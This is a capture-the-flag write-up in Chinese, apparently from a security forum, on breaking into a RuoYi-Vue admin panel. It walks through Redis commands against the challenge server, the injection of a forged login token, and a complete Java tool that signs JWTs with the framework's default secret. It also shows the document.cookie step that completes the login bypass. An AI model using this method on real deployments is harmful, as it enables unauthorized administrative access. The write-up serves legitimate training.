-
-
2021KCTF 春季赛 Q3 马后炮
-
2021-5-15 03:27 6635
-
2021KCTF 春季赛 Q3
- 看雪.深信服 KCTF 2021 春季赛! https://ctf.pediy.com/game-team_list-14-17.htm
- 2021 KCTF-WEB 出题思路 https://bbs.pediy.com/thread-267374.htm
- RuoYi 文档 https://doc.ruoyi.vip/ruoyi-vue/document/hjbs.html
- Downloading Apache Maven 3.6.3
- Web 端口安全测绘工具 Goby https://gobies.org/
看雪.深信服 2021KCTF 春季赛 第三题 统一门派
题目描述:
一道 Web 题,访问链接: http://121.36.145.157/
利用技术绕过限制,登陆后台获得 flag 的值。
注意:第一次打开时,网站提示“正在加载系统资源,请耐心等待”,时间有些长,估计要2-3分钟,第二次就正常了,请耐心等待。
打开界面可知是采用“若依管理系统”搭建的一个默认网站,查看若依的官方文档可知:
- 前端采用 Vue、Element UI。
- 后端采用 Spring Boot、Spring Security、Redis & Jwt。
- 权限认证使用 Jwt,支持多终端认证系统。
这道题目需要一定的 Java 项目经验,需要分析开源项目代码。
克隆项目代码:
1 | git clone https: / / gitee.com / y_project / RuoYi - Vue.git |
环境部署要求:
- JDK >= 1.8 (推荐1.8版本)
- Mysql >= 5.7.0 (推荐5.7版本)
- Redis >= 3.0
- Maven >= 3.0
- Node >= 10 (前端子项目 rouyi-ui 使用)
项目使用 Maven 项目管理工具,需要安装它并在工程根目录下执行编译、打包命令:
- mvn compile 编译命令生成 target 文件夹,里面就是编译后的内容。
- mvn clean 清除命令主要是清除编译后产生的 target 文件夹。
- mvn package 打包命令会将项目默认打成 jar 包,当然也可以打成 war 包。
- mvn install 安装命令可以把项目打成 jar,放到本地仓库。
编译器会按子项目依赖关系逐次编译子项目,最后打包生成 ruoyi-admin.jar 后端程序。
打开项目后端 ruoyi-admin 运行 com.ruoyi.RuoYiApplication.java,后端运行成功可以访问 http://localhost:8080 但是不会出现静态页面,可以继续参考下面步骤部署 ruoyi-ui 前端,然后通过前端地址来访问。
项目提供的启动脚本 ry.sh 是 Linux 环境下使用的,在 Windows 系统上,可以执行以下命令启动,忽略 JVM 参数配置:
1 2 3 4 5 6 | set AppName = ruoyi - admin.jar set AppPath = ruoyi - admin / target / ruoyi - admin.jar set JVM_OPTS = "-Dname=$AppName -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC" java - jar % JVM_OPTS % % AppPath % |
启动前,需要安装好 MySQL 数据服务及 Redis 服务,分别使用默认 3306/6379 端口。
创建 MySQL 数据库 ry-vue
并导入数据脚本 ry_2021xxxx.sql,quartz.sql,注意数据库名字使用了连字符:
1 | create database `ry - vue`; |
脚本执行有两种方式,一种是使用 source 读入文件,另一种是在命令行中使得管道,将脚本一行行导入执行:
1 2 | mysql> source path\to\file_name.sql mysql> \. path\to\file_name.sql |
注意修改 ruoyi-admin\target\classes\application-druid.yml 配置文件中的 MySQL 账户及密码,注意,配置在 JAR 打包后修改可能无法生效。因为 Maven 打包时会将配置文件一并打包到 BOOT-INF 内,可以使用 WinRAR 覆盖配置文件。
或者使用 jar 命令解包配置文件,更新后再打包回去:
1 2 | jar - xf ruoyi - admin.jar BOOT - INF\classes\application - druid.yml jar - uf ruoyi - admin.jar BOOT - INF\classes\application - druid.yml |
安装 Nginx 并配置前端静态文件和后端 API 服务,根据 ruoyi-ui 编译设置 prod-api 或 stage-api,另外不要随便设置 NGINX 环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 | location / { root / home / ruoyi / projects / ruoyi - ui; try_files $uri $uri / / index.html; index index.html index.htm; } location / prod - api / { proxy_set_header Host $http_host; proxy_set_header X - Real - IP $remote_addr; proxy_set_header REMOTE - HOST $remote_addr; proxy_set_header X - Forwarded - For $proxy_add_x_forwarded_for; proxy_pass http: / / localhost: 8080 / ; } |
成功配置后端可以尝试访问:
1 2 | >curl http: / / localhost: 8080 { "msg" : "请求访问:/,认证失败,无法访问系统资源" , "code" : 401 } |
默认控制台管理用户名和密码 admin/admin123,本地配置登录成功后却出现一个异常,导致 UI 不能进入管理界面:
1 | java.lang.NoClassDefFoundError: javax / xml / bind / DatatypeConverter |
可以登录试用的站点 http://vue.ruoyi.vip/login 研究接口。
从使用体验来看,这个项目并不人性化,需要相当专业的人员进行配置才能正常运行。Spring Boot 是一款开箱即用框架,提供各种默认配置来简化项目配置,但是到了 Rouyi 却变得相当复杂的配置。
阅读部署文档,发现目标正好开启了 Redis 6379 端口,并且可以未授权访问。大概了解一下若依的登录逻辑可知,它的用户信息是缓存在 redis 中的,并且通过 JWT 进行认证。
自己搭建一个环境登录 admin 账号后通过 Redis 命令 keys *
可查询到一个 login_tokens,目标主机上也有一个:
1 2 3 4 5 6 | $ redis - cli - h 121.36 . 145.157 121.36 . 145.157 : 6379 > keys (error) ERR wrong number of arguments for 'keys' command 121.36 . 145.157 : 6379 > keys * 1 ) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333" 121.36 . 145.157 : 6379 > |
这个 TokenKey 应该关联存储了用户的信息,尝试使用 get 查询关联的数据,为了方便观察,以下直接展示 JSON 数据重要部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | # 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333" { "password" : "$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG" , "permissions" : Set [ "*:*:*" ], "token" : "07aaf192-ca8f-4db7-a6a2-ee81dbf07d58" , "user" :{ "admin" :true, "password" : "$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG" , "roles" :[ { "admin" :true, "dataScope" : "1" , "deptCheckStrictly" :false, "flag" :false, "menuCheckStrictly" :false, "params" :{ "@type" : "java.util.HashMap" }, "roleId" : 1 , "roleKey" : "admin" , "roleName" : "\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98" , "roleSort" : "1" , "status" : "0" } ], "sex" : "1" , "status" : "0" , "userId" : 1 , "userName" : "admin" }, "username" : "admin" } |
以上 JSON 数据对应了一个 LoginUser.java
模型对象。
可以在 ruoyi-common 依赖项目中找到这个常量定义,Redis 保存的这个 Key 字符串就是 TokenKey,它包含:
LOGIN_TOKEN_KEY
常量定义的前缀 "login_tokens";- 后缀部分为 UUID,对应
LOGIN_USER_KEY
。
再根据引用找到 TokenService.java 和 SysLoginService.java 这两个代码文件,它们负责 TokenKey 的读取和生成,包括登录验证。
- 通过重载方法
createToken
生成 TokenKey;
代码分析:
登陆成功后会在 Redis 里写入包含 UUID 的 TokenKey -> 当前用户信息,鉴权时服务器验证机制从 Authorization 获取 Token,而不是 Admin-Token,取出 JWT Token,然后取出 UUID,然后取出用户信息。
从代码可以看到 LOGIN_USER_KEY
即 login_user_key 会放入 JWT 的 Payload 中传递给客户端,并且它也是 TokenKey 的后缀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | public LoginUser getLoginUser(HttpServletRequest request) { / / 获取请求携带的令牌 String token = getToken(request); if (StringUtils.isNotEmpty(token)) { Claims claims = parseToken(token); / / 解析对应的权限以及用户信息 String uuid = (String) claims.get(Constants.LOGIN_USER_KEY); String userKey = getTokenKey(uuid); LoginUser user = redisCache.getCacheObject(userKey); return user; } return null; } |
所以只要在本地搭建一个环境,登录成功后,将本地的 TokenKey 通过目标主机后门写入 Redis 数据库,然后中在浏览器中通过脚本修改 Cookie,将本地的 获取到的 Admin-Token 写入。这样就伪造了一个 admin 用户已经登陆的 redis key + 浏览器 cookie。
去官网的演示站里面登录一下,提取 Admin-token 并 Base64 解码 JWT,可以得到以下两组数据:
1 2 | { "alg" : "HS512" } { "login_user_key" : "e8b214c6-997a-4769-a5fe-ec45c863203c" } |
步骤:
- 本地搭建好 ruoyi-vue,这个花了不少时间
- 本地登陆 admin/admin123 后,看到本地 Redis 里生成了 login_tokens:{UUID}
- 登陆服务器的 Redis,写入该 key
- 将本地的 cookie 通过 js 写入远程登陆页面
- 刷新后成功进入后台,看到 flag
另一个方法是使用 JWT 签名验证算法生成 Token,先随机生成一个 Token 写入后台,然后将生成的 Token 结合源码默认 secret 密钥计算得到一个 JWT 的签名用于进行网站访问,如果 application.yml 配置使用的 secret 是默认值就可以绕过登录了。
1 2 3 4 5 6 7 8 | # token配置 token: # 令牌自定义标识 header: Authorization # 令牌密钥 secret: abcdefghijklmnopqrstuvwxyz # 令牌有效期(默认30分钟) expireTime: 30 |
生成 Token 后,通过控制台执行脚本修改 cookei,然后再将页面地址修改到登录的首页 http://121.36.145.157/index:
1 | document.cookie = "Admin-Token=eyJh...." ; |
获取首页显示的 CTF flag:2435_ert3_Wee
,FLAG提交格式为 flag{***}
,完成任务。其实出题战队未注意 FLAG 在 Webpack 打包时没有清理,所以通过静态脚本文件也可以找到,真是大意了!
1 | http: / / 121.36 . 145.157 / static / js / 4.js |
出题战队说明:
这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让 Redis 外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了 JWT 的系统都可能用的这套逻辑,在实战中可以通过设置比较强的 JWT 秘钥解决这个问题,本题的问题是在于没有修改 JWT 的默认秘钥。我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。
JWT Token 生成工具
最后,工具代码展示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | package jwtdemo; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.HashMap; import java.util. Map ; import java.util.UUID; public class App { static String LOGIN_USER_KEY = "login_user_key" ; static String secret = "abcdefghijklmnopqrstuvwxyz" ; public static void main( String[] args ) { String uuid = getUUID(); if (args.length> 0 ) uuid = args[ 0 ]; System.out.println( "UUID: " + uuid ); System.out.println( "Hello JWT! " + args[ 0 ] ); String token = genToken(uuid); System.out.println( "login_tokens:" + uuid); System.out.println( "Authorization: Bearer " + token); System.out.println( "document.cookie = \"Admin-Token=" + token + "\"" ); String subject = parseToken(token); System.out.println( "Claims: " + subject); } public static String genToken(String uuid) { Map <String, Object > claims = new HashMap<>(); claims.put(LOGIN_USER_KEY, uuid); String token = Jwts.builder() .setClaims(claims) .signWith(SignatureAlgorithm.HS512, secret).compact(); return token; } public static String parseToken(String token) { Claims claims = Jwts.parser() .setSigningKey(secret) .parseClaimsJws(token) .getBody(); / / String subject = claims.getSubject(); String uuid = (String) claims.get(LOGIN_USER_KEY); return uuid; } public static String getUUID(){ UUID uuid = UUID.randomUUID(); return uuid.toString(); / / return Long .toHexString(); } } |
全 Maven 创建模板工程 maven-archetype-quickstart,执行以下命令,从提示列表中选择:
1 | mvn archetype:generate |
选好原型 Maven 还会询问项目细节,按要求输入项目细节。
- groupId 指定一个唯一的命名空间,这里指定为 jwtdemo;
- artifactId 项目名指定为 demo,会创建相应的子目录;
完成后,编译运行,参数传入后台 Redis 数据库中已经设置的 UUID:
1 | mvn compile && mvn exec :java - Dexec.mainClass = "jwtdemo.App" - Dexec.args = "3845adb5-7e7c-47b6-9b8b-4b4063441f2f A B C" |
配置文件 pom.xml 参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <project xmlns = "http://maven.apache.org/POM/4.0.0" xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion> 4.0 . 0 < / modelVersion> <groupId>jwtdemo< / groupId> <artifactId>demo< / artifactId> <version> 1.0 - SNAPSHOT< / version> <packaging>jar< / packaging> <name>demo< / name> <url>http: / / maven.apache.org< / url> <properties> <java.version> 1.8 < / java.version> <project.build.sourceEncoding>UTF - 8 < / project.build.sourceEncoding> <jwt.version> 0.9 . 1 < / jwt.version> < / properties> <dependencies> <dependency> <groupId>io.jsonwebtoken< / groupId> <artifactId>jjwt< / artifactId> <version>${jwt.version}< / version> < / dependency> <dependency> <groupId>junit< / groupId> <artifactId>junit< / artifactId> <version> 3.8 . 1 < / version> <scope>test< / scope> < / dependency> < / dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins< / groupId> <artifactId>maven - compiler - plugin< / artifactId> <version> 3.1 < / version> <configuration> <source>${java.version}< / source> <target>${java.version}< / target> <encoding>${project.build.sourceEncoding}< / encoding> < / configuration> < / plugin> < / plugins> < / build> < / project> |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法